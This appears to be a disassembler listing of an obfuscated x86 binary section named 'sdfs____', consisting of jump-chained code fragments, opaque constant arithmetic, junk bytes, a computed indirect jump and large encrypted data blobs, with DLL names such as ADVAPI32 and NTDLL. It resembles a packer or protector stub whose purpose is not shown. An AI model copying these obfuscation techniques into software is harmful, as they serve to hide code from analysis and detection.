aS_8		db 'S³Ð±^',0
		dw 0FFD9h
		dd 835B2434h, 6AE904C4h
		db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AFE47:				; CODE XREF: sdfs____:005A7A59j
		xor	esi, edi
		mov	edi, [esp]
		jmp	loc_5A71CD
; ---------------------------------------------------------------------------


loc_5AFE51:				; CODE XREF: sdfs____:0059AE05j
		mov	ecx, edi
		pop	edi
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59B146
; ---------------------------------------------------------------------------


loc_5AFE61:				; CODE XREF: sdfs____:0059F187j
		push	eax
		mov	eax, 152545CFh
		add	eax, 42734F02h
		shl	eax, 2
		sub	eax, 11604AA4h
		sub	edi, eax
		pop	eax
		jmp	loc_5A3A6D
; ---------------------------------------------------------------------------
		dd 243C895Ch, 8A894BBFh, 34C681F4h, 1567114h, 9C2FE9FEh
		dd 0E981FFFEh, 4FED7FDFh, 0FEA2D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AFE9D:				; CODE XREF: sdfs____:005AB87Bj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 72FE475Ah
		shl	eax, 3
		shr	eax, 5
		xor	eax, 0B2010DBh
		and	eax, 7CE2199Fh
		jmp	loc_5ABA26
; ---------------------------------------------------------------------------
		dd 422996BEh, 0B695E976h, 0E968FFFFh, 89000017h, 3BBE2434h
		dd 0D1068460h, 0E6814EE6h, 399C18D7h, 1369E681h, 74E923FAh
		db 0B8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AFEEB:				; CODE XREF: sdfs____:005A89D4j
		mov	ebp, [esp]
		jmp	loc_5A440D
; ---------------------------------------------------------------------------


loc_5AFEF3:				; CODE XREF: sdfs____:005B03E3j
		mov	[esp], esi
		jmp	loc_59C79B
; ---------------------------------------------------------------------------


loc_5AFEFB:				; CODE XREF: sdfs____:0059B1E5j
		add	esi, 4
		push	eax
		push	edx
		mov	edx, 4C451F07h
		mov	eax, edx
		jmp	loc_5A6C2A
; ---------------------------------------------------------------------------


loc_5AFF0F:				; CODE XREF: sdfs____:005A86DDj
		mov	esi, ebp
		pop	ebp
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 139320E0h
		add	eax, 5ABB73D6h
		jmp	loc_5AB310
; ---------------------------------------------------------------------------


loc_5AFF2A:				; CODE XREF: sdfs____:00599CC8j
		mov	ah, dl
		mov	bh, ah
		jmp	loc_59E20A
; ---------------------------------------------------------------------------


loc_5AFF33:				; CODE XREF: sdfs____:005A5EA5j
		add	ch, 66h
		jmp	loc_5AFFBB
; ---------------------------------------------------------------------------


loc_5AFF3B:				; CODE XREF: sdfs____:0059CD9Fj
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	bl, 6Bh
		jmp	loc_5A7D48
; ---------------------------------------------------------------------------


loc_5AFF49:				; CODE XREF: sdfs____:005A3E09j
					; sdfs____:005A3F05j
		push	eax
		mov	eax, 4
		jmp	loc_5A12B0
; ---------------------------------------------------------------------------


loc_5AFF54:				; CODE XREF: sdfs____:005AC29Ej
		sub	ebx, ebp
		pop	ebp
		add	ebx, 15FC7032h
		push	eax
		mov	eax, 54A965B3h
		add	eax, 0B02CAA0Bh
		jmp	loc_5A94EC
; ---------------------------------------------------------------------------


loc_5AFF6D:				; CODE XREF: sdfs____:0059FEE9j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 10D07595h
		add	ebx, 3DA15C5Fh
		push	edi
		mov	edi, 69FE50C0h
		jmp	loc_5A466D
; ---------------------------------------------------------------------------
		dw 0F9BEh
		dd 5275FC20h, 355EB951h, 4CBA0F08h, 1F2E6E6h, 0EA8159CAh
		dd 8BF2FAB3h, 7ECFC681h, 0D6293962h, 7ECFEE81h,	83E93962h
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AFFBB:				; CODE XREF: sdfs____:005AFF36j
		push	eax
		push	ebx
		push	eax
		mov	al, ch
		mov	bh, al
		jmp	loc_5A0636
; ---------------------------------------------------------------------------


loc_5AFFC7:				; CODE XREF: sdfs____:0059C393j
		pop	edx
		jmp	loc_5AAD77
; ---------------------------------------------------------------------------


loc_5AFFCD:				; CODE XREF: sdfs____:005AE979j
		add	esp, 2
		jmp	loc_59B60B
; ---------------------------------------------------------------------------


loc_5AFFD5:				; CODE XREF: sdfs____:005AF005j
		sub	ecx, 723736D6h
		sub	ecx, edi
		add	ecx, 723736D6h
		pop	edi
		sub	ecx, 0DE70290Fh
		add	edx, 383615C4h
		jmp	loc_5996B1
; ---------------------------------------------------------------------------


loc_5AFFF5:				; CODE XREF: sdfs____:005A02C3j
		pop	eax
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		add	[esp+4], ebp
		jmp	loc_5A852E
; ---------------------------------------------------------------------------


loc_5B0006:				; CODE XREF: sdfs____:005AD9D1j
		push	ecx
		mov	ecx, 29B30A0Eh
		jmp	loc_59EEC3
; ---------------------------------------------------------------------------


loc_5B0011:				; CODE XREF: sdfs____:005B0140j
		add	edx, 4
		jmp	loc_5AFBC6
; ---------------------------------------------------------------------------


loc_5B001C:				; CODE XREF: sdfs____:0059FE8Dj
		jmp	loc_5A2991
; ---------------------------------------------------------------------------


loc_5B0021:				; CODE XREF: sdfs____:0059CD21j
		pop	esi
		push	780Dh
		mov	[esp], eax
		mov	eax, 0E1C0CA2h
		push	edi
		mov	edi, 5DAC6B7Ch
		add	ebx, edi
		pop	edi
		jmp	loc_59C4B0
; ---------------------------------------------------------------------------


loc_5B003D:				; CODE XREF: sdfs____:005A2F53j
		mov	[esp], ebx
		push	4A795806h
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 0D0214725h
		mov	edx, ebx
		pop	ebx
		shr	edx, 3
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edx, eax
		pop	eax
		jmp	loc_5A86C6
; ---------------------------------------------------------------------------


loc_5B0065:				; CODE XREF: sdfs____:005A6D80j
		and	edx, 0BF46F45h
		shr	edx, 1
		sub	edx, 20C77A7Fh
		add	ebp, edx
		pop	edx
		or	edx, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5ADAEF
; ---------------------------------------------------------------------------


loc_5B008F:				; CODE XREF: sdfs____:005A51BFj
		push	3C19h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_599DEB
; ---------------------------------------------------------------------------
		dw 0DFF6h
		dd 9E10E950h, 0F181FFFEh, 18D70C5h, 159CB29h, 7CC381CBh
		dd 5901C513h, 0FEB493E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5B00C1:				; CODE XREF: sdfs____:loc_59E03Dj
		xor	ecx, 5DD30C1Fh
		jo	loc_5AD1EB
		push	edi
		push	11A4h
		jmp	loc_5A5375
; ---------------------------------------------------------------------------


loc_5B00D8:				; CODE XREF: sdfs____:005A8B31j
		mov	[esp], ebx
		mov	ebx, 5676753Eh
		mov	esi, 0E1E203CCh
		jmp	loc_5A9560
; ---------------------------------------------------------------------------


loc_5B00EA:				; CODE XREF: sdfs____:005AED1Aj
		mov	[esp], edx
		mov	edx, 4B7F1F29h
		sub	ebx, edx
		pop	edx
		sub	ebx, 12F761AEh
		add	ebx, eax
		push	ecx
		push	edx
		mov	edx, 41670A16h
		or	edx, 64326CA0h
		jb	loc_5ACC89
		neg	edx
		js	loc_5A8B85
		jmp	loc_59EDBE
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 464903D9h
; ---------------------------------------------------------------------------


loc_5B0124:				; CODE XREF: sdfs____:005A5FC8j
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 4
		push	ecx
		push	edx
		mov	edx, 7D6E19CAh
		xor	[esp+4], edx
		pop	edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5B0011
; ---------------------------------------------------------------------------


loc_5B0145:				; CODE XREF: sdfs____:005A590Cj
		add	esi, 4
		push	ebp
		push	edi
		jmp	loc_59CB36
; ---------------------------------------------------------------------------


loc_5B0152:				; CODE XREF: sdfs____:0059EE02j
					; sdfs____:005A657Fj
		sub	edi, 79591F39h
		jmp	loc_5AE580
; ---------------------------------------------------------------------------


loc_5B015D:				; CODE XREF: sdfs____:005AC818j
					; sdfs____:005AFD81j
		shl	esi, 6
		jmp	loc_5AA5A3
; ---------------------------------------------------------------------------


loc_5B0165:				; CODE XREF: sdfs____:005A07EFj
		add	edi, 50D55E8Fh
		push	esi
		push	eax
		mov	eax, 326A3DE6h
		shr	eax, 7
		jnp	loc_59CCE5
		sub	eax, 730E28E9h
		sub	eax, 1CEA0BD7h
		jz	loc_5AE0B4
		sub	eax, 6883A818h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A4979
; ---------------------------------------------------------------------------


loc_5B01A0:				; CODE XREF: sdfs____:005A909Ej
		not	ebx
		xchg	eax, ebx
		dec	eax
		jmp	loc_5ADD13
; ---------------------------------------------------------------------------
		db 59h,	51h, 0B1h
		dd 6E9C071h, 2C82E980h,	9EACE97Eh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5B01BA:				; CODE XREF: sdfs____:0059D68Dj
		mov	ebx, 5B1309CAh
		jmp	loc_599482
; ---------------------------------------------------------------------------


loc_5B01C4:				; CODE XREF: sdfs____:005AE9F5j
		add	esi, ecx
		jmp	loc_5A863F
; ---------------------------------------------------------------------------


loc_5B01CB:				; CODE XREF: sdfs____:005A53FFj
		mov	ebp, 7BAC611Eh
		add	ebp, 1
		jmp	loc_5A6DFE
; ---------------------------------------------------------------------------
		dd 0E95FFB01h, 0FFFFDD61h
; ---------------------------------------------------------------------------


loc_5B01E0:				; CODE XREF: sdfs____:005ADDBCj
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A8FB5
; ---------------------------------------------------------------------------
		db 55h
		dd 4730ADBDh, 8968526Ch, 0E908016Eh, 0FFFEE64Bh
; ---------------------------------------------------------------------------


loc_5B0208:				; CODE XREF: sdfs____:005A1C98j
		push	cx
		push	edx
		mov	dl, 63h
		mov	cl, dl
		pop	edx
		add	bl, 0BEh
		jmp	loc_5A1D0B
; ---------------------------------------------------------------------------


loc_5B0218:				; CODE XREF: sdfs____:005AC024j
		sub	esi, eax
		jmp	loc_5AA242
; ---------------------------------------------------------------------------


loc_5B021F:				; CODE XREF: sdfs____:0059D9FDj
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		jmp	loc_59D2F6
; ---------------------------------------------------------------------------


loc_5B0233:				; CODE XREF: sdfs____:005ACE17j
		xor	bp, 0FC7h
		jno	loc_5A4F50
		push	ax
		jmp	loc_5A77C9
; ---------------------------------------------------------------------------
		db 1, 0F7h, 0E9h
		dd 0FFFFB815h
; ---------------------------------------------------------------------------


loc_5B024C:				; CODE XREF: sdfs____:0059FE06j
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		jmp	loc_5AE3E1
; ---------------------------------------------------------------------------
word_5B0266	dw 34FFh		; DATA XREF: sdfs____:00598E94o
		dd 2434FF24h, 20AE6858h, 3C890000h, 81E78924h, 4C7h, 4C78300h
		dd 8B243C87h, 0D4682424h, 89000057h, 9DE92404h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5B0293:				; CODE XREF: sdfs____:00599A31j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_5A0895
; ---------------------------------------------------------------------------


loc_5B02AD:				; CODE XREF: sdfs____:0059ED9Ej
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59E74F
; ---------------------------------------------------------------------------


loc_5B02B8:				; CODE XREF: sdfs____:005ABCFAj
		add	ecx, 2
		jmp	loc_5AACBE
; ---------------------------------------------------------------------------
dword_5B02C0	dd 3166AD66h, 4EC81D8h,	89000000h, 68662414h, 5A664CF0h
					; DATA XREF: sdfs____:00598EF4o
		dd 0FF7BE6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5B02D9:				; CODE XREF: sdfs____:005A21FAj
		push	20F05DA7h
		jmp	loc_5A05CA
; ---------------------------------------------------------------------------


loc_5B02E3:				; CODE XREF: sdfs____:005A42EFj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5AF953
; ---------------------------------------------------------------------------


loc_5B0302:				; CODE XREF: sdfs____:005ABA82j
		pop	esp
		xor	[esp], ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5B030D:				; CODE XREF: sdfs____:0059EA4Fj
		push	ecx
		mov	ecx, 0AE6FCF88h
		jmp	loc_5AFB59
; ---------------------------------------------------------------------------
		dd 0EF166EBFh, 5FFB8972h, 815BDE21h, 49004EF6h,	0BEEF8100h
		dd 13EF902h, 0BEC781F7h, 5E3EF902h, 6AF968h, 0EDA1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5B0342:				; CODE XREF: sdfs____:0059BCFCj
		pop	edx
		push	230h
		mov	[esp], ebp
		push	eax
		mov	eax, 5E220476h
		mov	ebp, 477876E2h
		jmp	loc_5A7A13
; ---------------------------------------------------------------------------


loc_5B035B:				; CODE XREF: sdfs____:005A3F3Cj
		add	esp, 2
		push	eax
		mov	al, 0CDh
		shr	al, 4
		push	bx
		mov	bl, 0FEh
		and	al, bl
		pop	bx
		sub	al, 16h
		add	al, 12h
		sub	bl, al
		jmp	loc_5A7C28
; ---------------------------------------------------------------------------
byte_5B0377	db 66h			; DATA XREF: sdfs____:00598F24o
		dd 8124048Bh, 4ECh, 241C8900h, 0E952E389h, 0FFFEDB80h
; ---------------------------------------------------------------------------


loc_5B038C:				; CODE XREF: sdfs____:00599952j
		dec	esi
		or	esi, 27787801h
		dec	esi
		sub	esi, 2B3CE7F8h
		xor	ecx, esi
		jmp	loc_5A5436
; ---------------------------------------------------------------------------


loc_5B03A1:				; CODE XREF: sdfs____:005A0897j
		mov	esi, 4
		sub	ebx, 24EB4526h
		sub	ebx, esi
		jmp	loc_59F7B2
; ---------------------------------------------------------------------------


loc_5B03B3:				; CODE XREF: sdfs____:005AB36Fj
		push	ebp
		mov	ebp, 70F91089h
		sub	ebp, 27E0097Ah
		xor	ebx, ebp
		jmp	loc_5A10AB
; ---------------------------------------------------------------------------


loc_5B03C6:				; CODE XREF: sdfs____:0059D27Dj
		jmp	loc_5A609D
; ---------------------------------------------------------------------------


loc_5B03CB:				; CODE XREF: sdfs____:005AC392j
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		push	3657h
		jmp	loc_5AFEF3
; ---------------------------------------------------------------------------


loc_5B03E8:				; CODE XREF: sdfs____:005AC48Bj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_59F816
; ---------------------------------------------------------------------------


loc_5B03F6:				; CODE XREF: sdfs____:0059CE0Ej
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_59FB5F
; ---------------------------------------------------------------------------


loc_5B0406:				; CODE XREF: sdfs____:005AA3AFj
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ebp
		push	edx
		jmp	loc_5A4E60
; ---------------------------------------------------------------------------


loc_5B0421:				; CODE XREF: sdfs____:0059E78Dj
					; sdfs____:loc_5A0ADEj
		not	ecx
		xchg	eax, ecx
		neg	eax
		jbe	loc_59B216
		or	eax, 7D6C76D7h
		jmp	loc_5A6691
; ---------------------------------------------------------------------------


loc_5B0436:				; CODE XREF: sdfs____:005A28ECj
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5A4096
; ---------------------------------------------------------------------------


loc_5B0447:				; CODE XREF: sdfs____:005A6B22j
		add	esp, 4
		add	esp, 4
		shl	ecx, 6
		jmp	loc_5ACD01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_5B045B:				; CODE XREF: sub_587F3F+375Aj
		jmp	loc_5B04BB
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
aP?suser32_dll	db 'pÈ?sUSER32.dll',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
aNtdll_dll	db 'NTDLL.dll',0
		dw 7D8h
		dd 60003h, 40001h, 100028h, 26Ch, 8 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_5B04BB:				; CODE XREF: sub_587F3F:loc_5B045Bj
		jmp	loc_5B0DCA
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		dd 0EBC81C68h, 0B4B4E907h, 0A968FFFDh, 0E907EBC8h, 0FFFDB4AAh
		dd 0EBC9B168h, 0B4A0E907h, 168FFFDh, 0E907EBCBh, 0FFFDB496h
		dd 0EBCB5E68h, 0B48CE907h, 6868FFFDh, 0E907EBCCh, 0FFFDB482h
		dd 0EBCCF068h, 0B478E907h, 0F506FFFDh, 0AA4EEA8Bh, 5DF35DD0h
		dd 0EE269223h, 0C257C16Ch, 84A53BBAh, 0FA7B0114h, 28C5475Eh
		dd 9C116B8Ch, 0D5581A30h, 0FBBBF6B0h, 152870FDh, 0EE7881E7h
		dd 5CC4F3B3h, 0AB871D30h, 0F87B717Ah, 0B303EA68h, 0CF5ECCFCh
		dd 0DAEC0759h, 0B446D45Bh, 0AB7BF928h, 0DAD7D119h, 37B56B27h
		dd 40F1158Fh, 0E1B94D5Dh, 6CFE6984h, 0F2261235h, 0EBA60055h
		dd 46B026ABh, 55A93F65h, 68029580h, 26E3A3DEh, 772D46B0h
		dd 1C742DBBh, 944E08ECh, 0D2631638h, 8012DBB6h,	4ED86EFCh
		dd 700A7486h, 6AEBABE6h, 0A2DF3EC7h, 3EC76AE2h,	861C7032h
		dd 1FC727AAh, 0E47D8106h, 6D8E6570h, 0E87D07DFh, 20550D40h
		dd 0D2C63209h, 25B33E38h, 11C27047h, 758EADDh, 0C5560000h
		dd 7A9E3ABBh, 2DC36D00h, 1E76A253h, 92A7119Ch, 54D54BEAh
		dd 0AABD164h, 78F577AEh, 0AC413BDCh, 0E588EA00h, 2B6B2680h
		dd 0E52870FDh, 0A04AF1D7h, 0F56020D1h, 7F0DA63Fh, 0D047D2A7h
		dd 0F611AC46h, 0A9EF1B52h, 0EF8BAC39h, 5F5F5F8Ch, 0DE88F293h
		dd 9E0437B0h, 0CBAE400Ch, 0C1E3A65Ah, 0E13DD3C1h, 359117E3h
		dd 4C05A22h, 0CFFC89F3h, 0A03C833h, 4CDA2713h, 20086A80h
		dd 0C51963F4h, 98116389h, 340E7012h, 0CB8D2232h, 0E3000006h
		dd 2B852848h, 5CF87507h, 832DC0BAh, 309C1193h, 46D65F1Dh
		dd 185CF1E1h, 6AEA3B95h, 0B6C669CBh, 0FD7F9D3Fh, 1E930F70h
		dd 2870FC9Eh, 4A664476h, 420ED6A0h, 7B76CEA8h, 0D92BE891h
		dd 158430DBh, 3Fh, 0D2A04AADh, 5CC4DFDFh, 0DD733130h, 439FF250h
		dd 25305CC5h, 95C86517h, 67B0D9Ah, 37B25797h, 0E5F7C865h
		dd 0A4E7BA78h, 976F0D20h, 6B39250Dh, 9AE275D1h,	0E696B91Bh
		dd 648A91Eh, 78F90000h,	0DC70C4DCh, 0AE3C469Eh,	0BEC45642h
		dd 5CC4C3C3h, 0C1574D30h, 0AAFB637Dh, 13CE2Ah, 0FD8C0597h
		dd 0B537B5ADh, 40EA46EFh, 970AA436h, 2873AE17h,	315D1F31h
		dd 673A8773h, 0D8C963F4h, 2FC7E6C9h, 9721BBE9h,	87E69A1Ah
		dd 0C0287A20h, 6F804CE6h, 5EF1250Dh, 4F17971Eh,	0BE1AD656h
		dd 3BC0D199h, 0D5269037h, 6FB7456Fh, 9835C755h,	0A86D08B8h
		dd 528E6A7Ah, 0FAAD466h, 3C31A1CDh, 0C36A5D91h,	0FB000005h
		dd 238D2050h, 54C06D0Fh, 9B35B8C2h, 0C864098Bh,	4EDE5725h
		dd 106489E9h, 62E2339Dh, 0AECE61D3h, 0F5879507h, 168B1778h
		dd 2870FB96h, 4A1E4C7Eh, 420ED6A0h, 7B76CEA8h, 0A2E9E891h
		dd 89305CC2h, 1E86EA73h, 77A0C7Ah, 305C8187h, 0F3851B89h
		dd 8A7C855Ah, 0FB1D201Fh, 9127BD81h, 0DA956A59h, 0E3D58431h
		dd 0EDFFFFFEh, 0ED6A04Ah, 0CA28B8BBh, 0C32E5387h, 0ACCE6CE8h
		dd 2ABC5250h, 0B4F8E077h, 0A14C5637h, 4889945h,	71E6712Ch
		dd 0DD87AAE7h, 158F2FCBh, 0E6D7EA83h, 0D6D0C4E4h, 1CB8C61Ah
		dd 0CCC480FAh, 4ECF64Eh, 8A9C6A45h, 49F01C20h, 3053888h
		dd 183B694h, 780C0000h,	0F64238DCh, 0BDB82EB7h,	2234902Ah
		dd 0D9C88458h, 7B6DC55Bh, 0B59FD306h, 0CCC5E337h, 28739ECCh
		dd 0CF17958Ch, 0A4FDD9B5h, 18FC9220h, 0B9824669h, 0E572FDE1h
		dd 0C8C8B953h, 484E9981h, 7E089E5Ah, 9C3842D6h,	56370379h
		dd 55F25AF3h, 70494CD9h, 0CAD948CEh, 63F1733h, 7EBA82A8h
		dd 79CC1092h, 0C1BB5FFEh, 47D1677Dh, 933324Ah, 9620824Eh
		dd 0A3522CCEh, 8BAFDB71h, 32FCBCF5h, 8E143EC7h,	82A824F8h
		dd 25CC62F0h, 0C27036B1h, 735A0DC1h, 4B000004h,	0F35DD0A0h
		dd 24901D5Fh, 6BC56812h, 9834B93Bh, 0FE6E0775h,	0C0B45939h
		dd 1292832Dh, 5E1E3163h, 0A5D765D7h, 463B6708h,	2870FA46h
		dd 0B3CEBCCEh, 0ECA537A0h, 37B0FD6Ah, 50EA7C26h, 70FE6121h
		dd 39F1B328h, 681027AFh, 0B4C46BC5h, 0ACCE6C68h, 0E63DF05h
		dd 7067FF34h, 416h, 0F8750714h,	33C2B85Ch, 600D6F81h, 0D75EDC34h
		dd 9A4D065h, 173A9693h,	356CC865h, 7D923EB7h, 34C67203h
		dd 0D8C2AB4Ah, 70F9E9A9h, 0B3112B28h, 0ED6A04Ah, 0F1C9A842h
		dd 171C844Ah, 0EE11DB09h, 96241616h, 0A5DC7600h, 305BFCE5h
		dd 61BD752Fh, 1AF9A074h, 305BFA93h, 0FA880879h,	2C88305Bh
		dd 4DE3710Bh, 31AB219Eh, 0FD304184h, 4A61FFFFh,	9844D6A0h
		dd 0A93B0B89h, 0DD582D41h, 72C1B04Ah, 3A37B5AAh, 23037D92h
		dd 0C9A549A1h, 32C35123h, 44ED7890h, 48A95128h,	5E5E8F6Bh
		dd 0BE48DF5Ah, 0B50C10C3h, 18FCA637h, 0FDBDF48Eh, 1728730Ah
		dd 0EAA4A58Dh, 77D07A97h, 4FD973E4h, 2F0B7587h,	0B470FB5Eh
		dd 0B5891B87h, 4C9922Bh, 42A2DA7Fh, 0B325B540h,	0CB663BF7h
		dd 7A692958h, 0F9AB7872h, 0C8A0D16Bh, 0E87FCB3Eh, 92A420BAh
		dd 0CE8E14E8h, 0E98502Ah, 2BCAB446h, 0EE276389h, 9151D86Eh
		dd 218C3622h, 30CBA2Dh,	9220000h, 0C66AC66Fh, 799F39B4h
		dd 0D2C26E07h, 0DE73DD50h, 0A099179Eh, 0D65F1D30h, 4A92B7Ah
		dd 78F587A8h, 0B13C3EDCh, 0DFDFD2CCh, 312870F8h, 0A0B3A51Bh
		dd 70889F30h, 36960EBCh, 0FC865E20h, 9DA5DC6Eh,	0D37B02Dh
		dd 3990A70h, 18D06AC6h,	309C2E74h, 0B93B6B1Fh, 9232722Fh
		dd 0C0E22870h, 0BB238332h, 881AEA6Ah, 99E374A0h, 0C9B3470Fh
		dd 1AB3CD61h, 62957D80h, 1CB8703Eh, 23F57CFEh, 933409BCh
		dd 2846C43h, 91BA0000h,	4EE24EE7h, 117812Ch, 4A5AF67Fh
		dd 668B25C8h, 28019F16h, 5ED7A548h, 8C21A3F2h, 0C06D0F20h
		dd 39B4C654h, 57574A54h, 0B92870F9h, 0A0B3DD83h, 710BA537h
		dd 5CC58000h, 26129030h, 0B0FE1F27h, 99337137h,	0D05D1F3Dh
		dd 17698E56h, 7AF106DBh, 6B8E56E0h, 7BB7CD11h, 70FEFC8Ah
		dd 0B2921028h, 0A7E79A34h, 902870FEh, 0F470759Fh, 0ECB6DEDDh
		dd 2E67275Ah, 0FBA92871h, 6769B3Fh, 1227A13Eh, 0F356266Dh
		dd 43D155C7h, 5EB71FA9h, 20EBABDEh, 7F252871h, 0E27B2EB3h
		dd 4839D365h, 28712148h, 27453231h, 7B1B6319h, 0AAE7C129h
		dd 28714BE2h, 0A6E27732h, 5F154DEBh, 0B35975C9h, 0FA627DC1h
		dd 2F6F2250h, 0E12870D8h, 26802DC3h, 8D08788Fh,	0D622C810h
		dd 0C32948E2h, 847B5673h, 84047D0Fh, 8C287167h,	22BC8016h
		dd 0AE690BAh, 82A20EDBh, 710329DBh, 57FA62FCh, 6FCBD925h
		dd 4CE1A14Bh, 0B985071Eh, 3B49952Bh, 0B54F59A5h, 7166BCFCh
		dd 0E24E5428h, 0CD6F2336h, 286819B3h, 0E8287167h, 3D824BAh
		dd 82A85CFDh, 3ED37DF0h, 0D311AC3Eh, 8CBF4687h,	0DA2B47B3h
		dd 0DA83A50Dh, 8F0F821Ch, 81287176h, 4EE3D723h,	0BF27872Eh
		dd 5948E29Ah, 28717659h, 9501E9BBh, 9E28F480h, 0EC63E907h
		dd 945C7852h, 916D0F20h, 75BF5E7Eh, 8D1994E0h, 72FEBEF3h
		dd 8C162871h, 98DA70A4h, 0F8B0460Eh, 0CAD82456h, 1EDAE834h
		dd 0F618C4C2h, 17DDAC84h, 0E6C0DD0Ch, 6F8D47E6h, 5E06600Dh
		dd 0CECEC3B9h, 466FFE0Bh, 6876CE5Ch, 0FE0C7939h, 7B099B6Fh
		dd 0B1F11BBFh, 0F448DE9Eh, 0F95553EAh, 724E4E43h, 0DCC66FFEh
		dd 0D4A14149h, 0FF3D0628h, 63CF5D31h, 0ADAA2B7h, 0C004A54Fh
		dd 27BE482Ah, 0DD343330h, 0D192CE5Fh, 0EB4548A0h, 1AEF3741h
		dd 83FE881Fh, 77579F50h, 0FEB13C66h, 0B852E473h, 9F33732Eh
		dd 0C7DD6815h, 8C9CB736h, 5C94D09Ah, 6973C7ADh,	7DFC56Fh
		dd 5ED7A14Bh, 0C61E58F2h, 83F91CB8h, 38C921A3h,	0B4755BA5h
		dd 0DF09B044h, 9AE2753Dh, 859C384Ah, 50FC7107h,	942EB8BAh
		dd 555A9D1Dh, 0C52D77EBh, 70F52DA9h, 0EEE8A1E7h, 8822B05Ah
		dd 960383FEh, 970DEB55h, 228B3506h, 42AE0364h, 36D7F92Eh
		dd 62858F2h, 841AA874h,	0D3AD4FE9h, 0C5C73h, 54E60000h
		dd 0ED3C3BD2h, 0BB626929h, 0A14A4D7Fh, 0A9430FD7h, 0B45B77CFh
		dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h
		dd 0D36753B3h, 565E55A9h, 0C681E689h, 4, 4EE81h, 34870000h
		dd 1C895C24h, 548A6824h, 1C890000h, 2B996824h, 34890000h
		dd 0C74C6824h, 685B07EBh, 3930h, 83242489h, 5E042404h
		dd 8468F53h, 5724348Bh,	0C781E789h, 4, 8704C783h, 8B5C243Ch
		dd 8950241Ch, 405E0h, 4050000h,	87000000h, 0E95C2404h
		dd 0FFFDABC2h, 0BD9B4DDDh, 0C1833724h, 0BE24BE0Dh
		db 0FDh, 0C2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_5B0DCA:				; CODE XREF: sub_587F3F:loc_5B04BBj
		mov	eax, 7EBCF99h
		add	eax, ebp
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		db 0F8h
		dd 3D58A5D4h, 617ED51Ch, 0EA4F32B1h, 0AF64AC56h, 0EB141D18h
		dd 362B200Dh, 0A660652Ch, 70025CBDh, 65000A1Bh,	2940E4ECh
		dd 5553AC61h, 426FFA41h, 8C2A6D5Ah, 9A4AD633h, 8B1ED2C7h
		dd 0D91F704Ch, 0F5E4223h, 6F6D562Bh, 0EE260B69h, 2B6B63C8h
		dd 4844E368h, 0A369F092h, 0AD304AB2h, 0B67C62EFh, 770C1796h
		dd 0DA23CEECh, 9B001BE4h, 0E865201Ch, 11h, 0C6B49F57h
		dd 0F50AA1E2h, 88CEDF62h, 97041AE4h, 0B25BFCBCh, 0BEC3812Ch
		dd 80000064h, 0F63379C4h, 6810Fh, 0D8810000h, 571B17D6h
		dd 0E81E34FFh, 5, 0D0CFCE9Ch, 0D881664Bh, 5F5AF47Eh, 5E960h
		dd 0ABA0000h, 66F8E0B0h, 8161F08Bh, 140407F7h, 0F781FC05h
		dd 7461E00Eh, 0BE9h, 41B95000h,	2CBE45DAh, 729D8C1Bh, 19BAC781h
